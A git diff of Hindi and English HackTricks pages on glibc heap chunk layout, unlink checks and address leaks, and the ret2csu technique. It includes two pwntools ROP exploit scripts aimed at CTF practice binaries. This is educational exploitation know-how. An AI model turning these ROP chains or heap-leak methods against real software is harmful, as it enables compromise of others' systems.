#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
@ -253,11 +258,11 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
return request2size (req);
}
```
### प्रायोजित स्थान की गणना के लिए ध्यान दें कि केवल `SIZE_SZ` 1 बार जोड़ा जाता है क्योंकि `prev_size` फ़ील्ड का उपयोग डेटा स्टोर करने के लिए किया जा सकता है, इसलिए केवल प्रारंभिक हेडर की आवश्यकता है।
ध्यान दें कि कुल स्थान की आवश्यकता की गणना करते समय केवल `SIZE_SZ` को 1 बार जोड़ा जाता है क्योंकि `prev_size` फ़ील्ड डेटा संग्रहीत करने के लिए उपयोग की जा सकती है, इसलिए केवल प्रारंभिक हेडर की आवश्यकता होती है।
### चंक डेटा प्राप्त करें और मेटाडेटा को बदलें
ये फ़ंक्शन एक चंक के पॉइंटर को प्राप्त करके काम करते हैं और मेटाडेटा की जांच/सेट करने के लिए उपयोगी हैं:
ये फ़ंक्शन एक चंक के लिए एक पॉइंटर प्राप्त करके काम करते हैं और मेटाडेटा की जांच/सेट करने के लिए उपयोगी होते हैं:
* चंक फ़्लैग की जांच करें
```c
@ -289,7 +294,7 @@ the chunk to the user, if necessary. */
/* Mark a chunk as not being on the main arena. */
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
```
* आकार और अन्य चंक्स के पॉइंटर
* आकार और अन्य चंक्स के लिए पॉइंटर्स
```c
/*
Bits to mask off when extracting size
@ -322,7 +327,7 @@ people extending or adapting this malloc.
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
```
* इंश्यो बिट
* इनस्यू बिट
```c
/* extract p's inuse bit */
#define inuse(p) \
@ -346,7 +351,7 @@ people extending or adapting this malloc.
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
* शीर्षक और फ़ुटर सेट करें (जब चंक संख्या उपयोग में हैं)
* हेड और फूटर सेट करें (जब चंक नंबर का उपयोग किया जा रहा हो)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -390,7 +395,7 @@ return ptr;
### त्वरित हीप उदाहरण
त्वरित हीप उदाहरण [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) से, लेकिन arm64 में:
[https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) से त्वरित हीप उदाहरण लेकिन arm64 में:
```c
#include <stdio.h>
#include <stdlib.h>
@ -403,13 +408,13 @@ ptr = malloc(0x10);
strcpy(ptr, "panda");
}
```
आखिरी मुख्य कार्य में ब्रेकपॉइंट सेट करें और देखें कि जानकारी कहां संग्रहित हुई थी:
Set a breakpoint at the end of the main function and lets find out where the information was stored:
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
यह देखना संभव है कि स्ट्रिंग पांडा को `0xaaaaaaac12a0` पर संग्रहित किया गया था (जो `x0` के अंदर malloc द्वारा उत्तर के रूप में दिया गया पता था)। इससे पहले के 0x10 बाइट जांचने पर पता चलता है कि `0x0` यह दिखाता है कि **पिछला चंक उपयोग में नहीं है** (लंबाई 0) और इस चंक की लंबाई `0x21` है।
यह देखना संभव है कि स्ट्रिंग panda `0xaaaaaaac12a0` पर संग्रहीत की गई थी (जो कि `x0` के अंदर malloc द्वारा दी गई प्रतिक्रिया का पता था)। 0x10 बाइट्स पहले की जांच करने पर यह देखा जा सकता है कि `0x0` दर्शाता है कि **पिछला टुकड़ा उपयोग में नहीं है** (लंबाई 0) और इस टुकड़े की लंबाई `0x21` है।
अतिरिक्त जगहें आरक्षित की गई हैं (0x21-0x10=0x11) **जोड़े गए हेडर्स** (0x10) से और 0x1 यह नहीं दिखाता है कि 0x21B आरक्षित किया गया था, बल्कि वर्तमान हेडर की लंबाई के अंतिम 3 बिटों में कुछ विशेष अर्थ हैं। क्योंकि लंबाई हमेशा 16-बाइट एलाइन की जाती है (64-बिट मशीनों में), इन बिट्स का उपयोग वास्तव में कभी भी लंबाई संख्या द्वारा नहीं किया जाएगा
आरक्षित अतिरिक्त स्थान (0x21-0x10=0x11) **जोड़े गए हेडर** (0x10) से आता है और 0x1 का मतलब यह नहीं है कि इसे 0x21B के लिए आरक्षित किया गया था, बल्कि वर्तमान हेडेड की लंबाई के अंतिम 3 बिट्स का कुछ विशेष अर्थ है। चूंकि लंबाई हमेशा 16-बाइट संरेखित होती है (64-बिट मशीनों में), ये बिट्स वास्तव में लंबाई संख्या द्वारा कभी उपयोग नहीं किए जाएंगे
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
@ -463,29 +468,29 @@ return 0;
```
</details>
पिछले उदाहरण को डीबग करने पर देखा जा सकता है कि शुरू में केवल 1 एरीना है:
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
फिर, पहले थ्रेड को कॉल करने के बाद, जो malloc को कॉल करता है, एक नया एरीना बनाया जाता है:
पिछले उदाहरण को डिबग करते समय यह देखा जा सकता है कि शुरुआत में केवल 1 एरेना है:
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
और उसके अंदर कुछ चंक्स पाए जा सकते हैं:
फिर, पहले थ्रेड को कॉल करने के बाद, जो malloc को कॉल करता है, एक नया एरेना बनाया जाता है:
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## बिन्स और मेमोरी आवंटन/फ्री
और इसके अंदर कुछ चंक्स पाए जा सकते हैं:
जांचें कि बिन्स क्या हैं और वे कैसे संगठित हैं और कैसे मेमोरी आवंटित और फ्री की जाती है:
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
## बिन और मेमोरी आवंटन/फ्रीज़
जांचें कि बिन क्या हैं और उन्हें कैसे व्यवस्थित किया गया है और मेमोरी कैसे आवंटित और मुक्त की जाती है:
{% content-ref url="bins-and-memory-allocations.md" %}
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}
## हीप फंक्शन सुरक्षा जांच
## हीप फ़ंक्शंस सुरक्षा जांच
हीप में शामिल फंक्शन अपने कार्रवाई करने से पहले निश्चित जांच करेंगे कि क्या हीप को कोरप्ट किया गया है:
हीप में शामिल फ़ंक्शंस अपने कार्यों को करने से पहले कुछ जांच करेंगे ताकि यह सुनिश्चित किया जा सके कि हीप भ्रष्ट नहीं हुआ है:
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)

View file

@ -1,21 +1,21 @@
# unlink
{% hint style="success" %}
एडब्ल्यूएस हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण एडब्ल्यूएस रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
जीसीपी हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण जीसीपी रेड टीम एक्सपर्ट (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>हैकट्रिक्स का समर्थन करें</summary>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें!
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में पीआर जमा करके
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें
</details>
{% endhint %}
### कोड
### Code
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -63,30 +63,45 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
```
### चित्रित स्पष्टीकरण
### Graphical Explanation
जांचें इस unlink प्रक्रिया के शानदार चित्रित स्पष्टीकरण को:
Check this great graphical explanation of the unlink process:
<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
### सुरक्षा जांच
### Security Checks
* जांचें कि टुकड़े का संकेतित आकार अगले टुकड़े में संकेतित पिछले आकार के समान है
* यह भी जांचें कि `P->fd->bk == P` और `P->bk->fw == P`
* अगर टुकड़ा छोटा नहीं है, तो जांचें कि `P->fd_nextsize->bk_nextsize == P` और `P->bk_nextsize->fd_nextsize == P`
* Check if the indicated size of the chunk is the same as the prev\_size indicated in the next chunk
* Check also that `P->fd->bk == P` and `P->bk->fw == P`
* If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
### लीक्स
### Leaks
एक अनलिंक किया गया टुकड़ा आवंटित पतों को साफ नहीं कर रहा है, इसलिए उसे पढ़ने की पहुंच होने पर कुछ दिलचस्प पतों को लीक करना संभव है:
An unlinked chunk is not cleaning the allocated addresses, so having access to rad it, it's possible to leak some interesting addresses:
Libc लीक:
Libc Leaks:
* यदि P डबली लिंक्ड सूची के शीर्ष में स्थित है, तो `bk` `libc` में `malloc_state` को पॉइंट करेगा
* यदि P डबली लिंक्ड सूची के अंत में स्थित है, तो `fd` `libc` में `malloc_state` को पॉइंट करेगा
* जब डबली लिंक्ड सूची में केवल एक फ्री टुकड़ा होता है, P डबली लिंक्ड सूची में होता है, और दोनों `fd` और `bk` `malloc_state` के अंदर पते को लीक कर सकते हैं।
* If P is located in the head of the doubly linked list, `bk` will be pointing to `malloc_state` in libc
* If P is located at the end of the doubly linked list, `fd` will be pointing to `malloc_state` in libc
* When the doubly linked list contains only one free chunk, P is in the doubly linked list, and both `fd` and `bk` can leak the address inside `malloc_state`.
हीप लीक:
Heap leaks:
* यदि P डबली लिंक्ड सूची के शीर्ष में स्थित है, तो `fd` हीप में एक उपलब्ध टुकड़े को पॉइंट करेगा
* यदि P डबली लिंक्ड सूची के अंत में स्थित है, तो `bk` हीप में एक उपलब्ध टुकड़े को पॉइंट करेगा
* यदि P डबली लिंक्ड सूची में है, तो दोनों `fd` और `bk` हीप में एक उपलब्ध टुकड़े को पॉइंट करेंगे
* If P is located in the head of the doubly linked list, `fd` will be pointing to an available chunk in the heap
* If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap
* If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,33 +1,33 @@
# Ret2csu
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण AWS रेड टीम विशेषज्ञ (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण GCP रेड टीम विशेषज्ञ (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>हैकट्रिक्स का समर्थन करें</summary>
<summary>Support HackTricks</summary>
* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें!
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 पर **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
##
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)मौलिक जानकारी
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)बुनियादी जानकारी
**ret2csu** एक हैकिंग तकनीक है जिसका उपयोग तब किया जाता है जब आप किसी प्रोग्राम के नियंत्रण पर कब्जा पाने की कोशिश कर रहे हों लेकिन आपको उस प्रोग्राम के व्यवहार को बदलने के लिए सामान्य रूप से उपयोग किए जाने वाले **गैजेट्स** नहीं मिल रहे हैं
**ret2csu** एक हैकिंग तकनीक है जिसका उपयोग तब किया जाता है जब आप किसी प्रोग्राम पर नियंत्रण पाने की कोशिश कर रहे होते हैं लेकिन आपको प्रोग्राम के व्यवहार को नियंत्रित करने के लिए आमतौर पर उपयोग किए जाने वाले **gadgets** नहीं मिलते
जब एक प्रोग्राम किसी विशेष पुस्तकालय (जैसे libc) का उपयोग करता है, तो उसमें कुछ ऐसे निर्देशिका समावेश होते हैं जो विभिन्न टुकड़ों के बीच कैसे बातचीत करें को प्रबंधित करने के लिए निर्मित फ़ंक्शन होते हैं। इन फ़ंक्शनों में से कुछ छुपे हुए गहने होते हैं जो हमारे गुमशुदा गैजेट्स के रूप में काम कर सकते हैं, खासकर एक जिसे `__libc_csu_init` कहा जाता है।
जब एक प्रोग्राम कुछ विशेष पुस्तकालयों (जैसे libc) का उपयोग करता है, तो इसमें विभिन्न भागों के बीच बातचीत को प्रबंधित करने के लिए कुछ अंतर्निहित कार्य होते हैं। इन कार्यों में कुछ छिपे हुए रत्न होते हैं जो हमारे गायब gadgets के रूप में कार्य कर सकते हैं, विशेष रूप से एक जिसे `__libc_csu_init` कहा जाता है।
### \_\_libc\_csu\_init में जादूगर गैजेट्स
### \_\_libc\_csu\_init में जादुई gadgets
**`__libc_csu_init`** में, दो निर्देशिका अनुक्रम हैं (गैजेट्स) जिन्हें हाइलाइट किया जाएगा:
**`__libc_csu_init`** में, दो निर्देशों के अनुक्रम (gadgets) को उजागर करने के लिए हैं:
1. पहला अनुक्रम हमें कई रजिस्टर्स (rbx, rbp, r12, r13, r14, r15) में मान सेट करने की अनुमति देता है। ये स्लॉट्स की तरह हैं जहाँ हम बाद में उपयोग करने के लिए संख्याएँ या पते संग्रहित कर सकते हैं।
1. पहला अनुक्रम हमें कई रजिस्टरों (rbx, rbp, r12, r13, r14, r15) में मान सेट करने की अनुमति देता है। ये उन स्लॉट्स की तरह होते हैं जहाँ हम बाद में उपयोग करने के लिए संख्याएँ या पते संग्रहत कर सकते हैं।
```armasm
pop rbx;
pop rbp;
@ -37,18 +37,18 @@ pop r14;
pop r15;
ret;
```
यह गैजेट हमें इन रजिस्टरों को नियंत्रित करने की अनुमति देता है, जिन्हें हम स्टैक से बाहर निकालकर उनमें डाल सकते हैं
यह गैजेट हमें इन रजिस्टरों को नियंत्रित करने की अनुमति देता है, उन्हें स्टैक से मानों को पॉप करके
2. दूसरी क्रमश: उन मानों का उपयोग करने के लिए उपयोग करता है जिन्हें हमने सेट किया है कुछ काम करने के लिए:
* **विशिष्ट मानों को अन्य रजिस्टर में ले जाएं**, जिन्हें हम फ़ंक्शन में पैरामीटर के रूप में उपयोग करने के लिए तैयार करते हैं।
* **एक स्थान पर कॉल करें**िसे r15 और rbx में मानों को जोड़कर निर्धारित किया गया है, फिर rbx को 8 से गुणा करके।
2. दूसरा अनुक्रम उन मानों का उपयोग करता है जो हमने सेट किए हैं ताकि कुछ चीजें की जा सकें:
* **विशिष्ट मानों को अन्य रजिस्टरों में स्थानांतरित करें**, जिससे वे हमारे लिए फ़ंक्शनों में पैरामीटर के रूप में उपयोग करने के लिए तैयार हो जाएं।
* **एक स्थान पर कॉल करें** r15 और rbx में मानों को जोड़कर, फिर rbx को 8 से गुणा करके निर्धारित किया गया है
```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
2. शायद आपको वहाँ लिखने के लिए कोई पता न हो और आपको **एक `ret` इंस्ट्रक्शन की आवश्यकता** हो। ध्यान दें कि दूसरा गैजेट भी **एक `ret` में समाप्त होगा**, लेकिन आपको उस तक पहुंचने के लिए कुछ **शर्तें** पूरी करनी होंगी:
2. शायद आप वहां लिखने के लिए कोई पता नहीं जानते और आपको **`ret` निर्देश** की आवश्यकता है। ध्यान दें कि दूसरा गैजेट भी **`ret` पर समाप्त होगा**, लेकिन आपको इसे प्राप्त करने के लिए कुछ **शर्तों** को पूरा करना होगा:
```armasm
mov rdx, r15;
mov rsi, r14;
@ -60,10 +60,10 @@ jnz <func>
...
ret
```
The conditions will be:
शर्तें होंगी:
* `[r12 + rbx*8]` कोई पता करने वाले फ़ंक्शन को स्टोर करने वाले पते पर प्वाइंट करना चाहिए (अगर कोई विचार नहीं है और कोई पाई नहीं है, तो आप सिर्फ `_init` फ़ंक्शन का उपयोग कर सकते हैं):
* यदि \_init `0x400560` पर है, GEF का उपयोग करे इसलिए मेमोरी में एक पॉइंटर खोजें और `[r12 + rbx*8]` को पॉइंटर के साथ पते का पता होना चाहिए:
* `[r12 + rbx*8]` को एक पता इंगित करना चाहिए जो एक कॉल करने योग्य फ़ंक्शन को स्टोर कर रहा है (यदि कोई विचार नहीं है और कोई पाई नहीं है, तो आप `_init` फ़ंक्शन का उपयोग कर सकते हैं):
* यदि \_init `0x400560` पर है, तो इसे खोजने के लिए GEF का उपयोग करें और इसे मेमोरी में एक पॉइंटर के लिए खोजें और `[r12 + rbx*8]` को \_init के लिए पॉइंटर के साथ पता बनाएं:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
@ -73,16 +73,16 @@ gef➤ search-pattern 0x400560
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
```
* `rbp` और `rbx` का एक ही मान होना चाहिए ताकि जंप से बचा जा सके
* आपको ध्यान में रखने योग्य कुछ छूटे हुए पॉप्स हैं
* `rbp` और `rbx` का मान समान होना चाहिए ताकि कूद से बचा जा सके
* कुछ छोड़े गए पॉप हैं जिन्हें आपको ध्यान में रखना होगा
## RDI और RSI
रेट2सीएसयू गैजेट से **`rdi`** और **`rsi`** को नियंत्रित करने का एक और तरीका यह है कि आप इसके विशिष्ट ऑफसेट तक पहुंचें:
**`rdi`** और **`rsi`** को ret2csu गैजेट से नियंत्रित करने का एक और तरीका है विशेष ऑफसेट्स तक पहुंचना:
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
अधिक जानकारी के लिए इस पेज की जाँच करें:
अधिक जानकारी के लिए इस पृष्ठ की जांच करें:
{% content-ref url="brop-blind-return-oriented-programming.md" %}
[brop-blind-return-oriented-programming.md](brop-blind-return-oriented-programming.md)
@ -90,16 +90,16 @@ gef➤ search-pattern 0x400560
## उदाहरण
### कॉल का उपयोग
### कॉल का उपयोग करना
सोचिए आप एक सिस्टम कॉल करना चाहते हैं या `write()` जैसे फ़ंक्शन को कॉल करना चाहते हैं लेकिन `rdx` और `rsi` रजिस्टर में पैरामीटर के रूप में विशिष्ट मान चाहिए। सामान्यत: आप उन गैजेट्स की तलाश करेंगे जो इन रजिस्टर्स को सीधे सेट करते हैं, लेकिन आप कोई भी नहीं मिलता
कल्पना करें कि आप एक syscall करना चाहते हैं या `write()` जैसी किसी फ़ंक्शन को कॉल करना चाहते हैं लेकिन आपको `rdx` और `rsi` रजिस्टर में विशेष मान चाहिए। सामान्यतः, आप उन गैजेट्स की तलाश करेंगे जो इन रजिस्टरों को सीधे सेट करते हैं, लेकिन आप कोई नहीं पा रहे हैं
यहा**ret2csu** काम में आता है:
यहा**ret2csu** का उपयोग होता है:
1. **रजिस्टर सेट करें**: पहले जादूगर गैजेट का उपयोग करें ताकि आप स्टैक से मानों को पॉप करके rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), और r15 में डाल सकें।
2. **दूसरा गैजेट उपयोग करें**: उन रजिस्टर्स को सेट करके, आप दूसरे गैजेट का उपयोग करते हैं। इससे आप `rdx` और `rsi` में अपने चुने हुए मानों को ले जाते हैं (यानी r14 और r13 से), फ़ंक्शन कॉल के लिए पैरामीटर्स को तैयार करते हैं। इसके अतिरिक्त, `r15` और `rbx` को नियंत्रित करके, आप प्रोग्राम को उस पते पर स्थित एक फ़ंक्शन को कॉल करने के लिए बना सकते हैं जिसे आप गणना करते हैं और `[r15 + rbx*8]` में रखते हैं।
1. **रजिस्टर सेट करें**: पहले जादुई गैजेट का उपयोग करें ताकि स्टैक से मानों को निकालकर rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), और r15 में डाल सकें।
2. **दूसरे गैजेट का उपयोग करें**: उन रजिस्टरों को सेट करने के बाद, आप दूसरे गैजेट का उपयोग करते हैं। यह आपको अपने चुने हुए मानों को `rdx` और `rsi` (क्रमशः r14 और r13 से) में स्थानांतरित करने की अनुमति देता है, जो फ़ंक्शन कॉल के लिए पैरामीटर तैयार करता है। इसके अलावा, `r15` और `rbx` को नियंत्रित करके, आप प्रोग्राम को उस फ़ंक्शन को कॉल करने के लिए मजबूर कर सकते हैं जो आप उस पते पर गणना करते हैं और `[r15 + rbx*8]` में रखते हैं।
आपके पास [**इस तकनीक का उपयोग करने और इसे समझाने का उदाहरण यहाँ है**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), और यह उसका अंतिम उत्पीड़न है जिसका उपयोग किया गया था:
आपके पास [**इस तकनीक का उपयोग करते हुए एक उदाहरण और इसे यहां समझाते हुए**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) है, और यह अंतिम शोषण है जिसका इसने उपयोग किया:
```python
from pwn import *
@ -124,12 +124,12 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
{% hint style="warning" %}
ध्यान दें कि पिछला एक्सप्लॉइट **`RCE`** करने के लिए नहीं है, यह केवल एक फ़ंक्शन को बुलाने के लिए है जिसे **`win`** कहा जाता है (gets में `win` का पता stdin से लेते हुए ROP श्रृंखला में और इसे r15 में स्टोर करते हुए) तीसरे तर्क के साथ एक मान `0xdeadbeefcafed00d` के साथ
ध्यान दें कि पिछले एक्सप्लॉइट का उद्देश्य **`RCE`** करना नहीं है, इसका उद्देश्य केवल एक फ़ंक्शन **`win`** को कॉल करना है (ROP चेन में `win` का पता stdin से कॉल करते हुए प्राप्त करना और इसे r15 में स्टोर करना) तीसरे तर्क के साथ जिसका मान `0xdeadbeefcafed00d` है
{% endhint %}
### कॉल को छोड़कर और रिट तक पहुंचना
### कॉल को बायपास करना और ret तक पहुँचना
निम्नलिखित एक्सप्लॉइट [**इस पेज से निकाला गया था**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) जहा**ret2csu** का उपयोग किया गया था लेकिन कॉल का उपयोग करने की बजाय, **तुलनाएँ छोड़कर और कॉल के बाद `रिट` तक पहुंचने** की कोशिश की गई थी:
निम्नलिखित एक्सप्लॉइट [**इस पृष्ठ से निकाला गया**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) जहा**ret2csu** का उपयोग किया गया है लेकिन कॉल का उपयोग करने के बजाय, यह **तुलनाओं को बायपास कर रहा है और कॉल के बाद `ret` तक पहुँच रहा है:**
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -179,6 +179,21 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
### क्यों न केवल libc का प्रयोग करें?
### Why Not Just Use libc Directly?
सामान्यत: ये मामले [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) के लिए भी संवेदनशील होते हैं, लेकिन कभी-कभी आपको उन सभी पैरामीटरों को नियंत्रित करने की आवश्यकता होती है जो आपको सीधे libc में पाए जाने वाले गैजेट्स के साथ आसानी से नियंत्रित नहीं किया जा सकता है। उदाहरण के लिए, `write()` फ़ंक्शन को तीन पैरामीटर की आवश्यकता होती है, और **इन सभी को सीधे सेट करने के लिए गैजेट्स खोजना संभव नहीं हो सकता**
आमतौर पर ये मामले [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) के लिए भी संवेदनशील होते हैं, लेकिन कभी-कभी आपको उन पैरामीटरों को नियंत्रित करने की आवश्यकता होती है जिन्हें आप सीधे libc में पाए गए गैजेट्स के साथ आसानी से नियंत्रित नहीं कर सकते। उदाहरण के लिए, `write()` फ़ंक्शन को तीन पैरामीटर की आवश्यकता होती है, और **इन सभी को सीधे सेट करने के लिए गैजेट्स खोजना संभव नहीं हो सकता**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
